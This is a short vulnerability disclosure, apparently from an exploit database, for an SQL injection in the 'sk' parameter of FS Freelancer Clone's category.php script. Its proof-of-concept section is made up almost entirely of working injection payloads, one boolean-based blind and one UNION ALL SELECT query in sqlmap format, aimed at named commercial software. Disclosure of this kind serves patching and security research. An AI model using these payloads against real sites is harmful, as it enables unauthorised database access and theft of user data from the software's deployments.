FS Freelancer Clone - 'sk' SQL Injection

# Exploit Title: FS Freelancer Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/freelancer-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: [email protected]
# Contact: https://twitter.com/_8bitsec

Release Date:
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2017-10-23

Product & Service Introduction:
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Launching within minutes the best ever reverse auction website available online is no more a distant dream!

Technical Details & Description:
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SQL injection on [sk] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/category.php?sk=2 AND 5895=5895

Parameter: sk (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sk=2 AND 5895=5895

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: sk=-9224 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627071,0x6a5954706679724662715071764b6f6b6b5448677770526873556c726b747079556b5341516d7559,0x716a627a71),NULL-- Pddp
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8bitsec - [https://twitter.com/_8bitsec]